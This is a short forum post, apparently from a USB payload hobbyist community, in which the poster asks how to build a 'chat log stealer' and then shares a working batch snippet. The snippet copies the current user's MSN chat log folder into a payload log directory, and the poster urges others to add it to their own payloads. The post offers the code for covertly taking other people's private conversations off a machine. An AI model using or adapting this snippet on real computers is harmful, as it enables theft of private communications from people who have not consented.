Juf Posted June 10, 2009 Share Posted June 10, 2009 Just wondering how you would find the user you are currently on in C++ Batch E.X; %USERNAME% Bassically I want to make a chat log stealer and incorperate it into the pocket knife, I would use this; Copy "C:\Documents and Settings\%USERNAME%\My Documents\My Chat Logs\" \chatlog (not that exactly but you get the picture) but my USB doesn't like my batch so, need an answer. SOLVED Lol Batch started working so here it is :) Real Simple mkdir %logdir%\MSNLOGS copy "%HOMEDRIVE%%HOMEPATH%\My Documents\My Chat Logs" "%LOGDIR%/MSNLOGS/" You just got to incorporate it into your payload Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.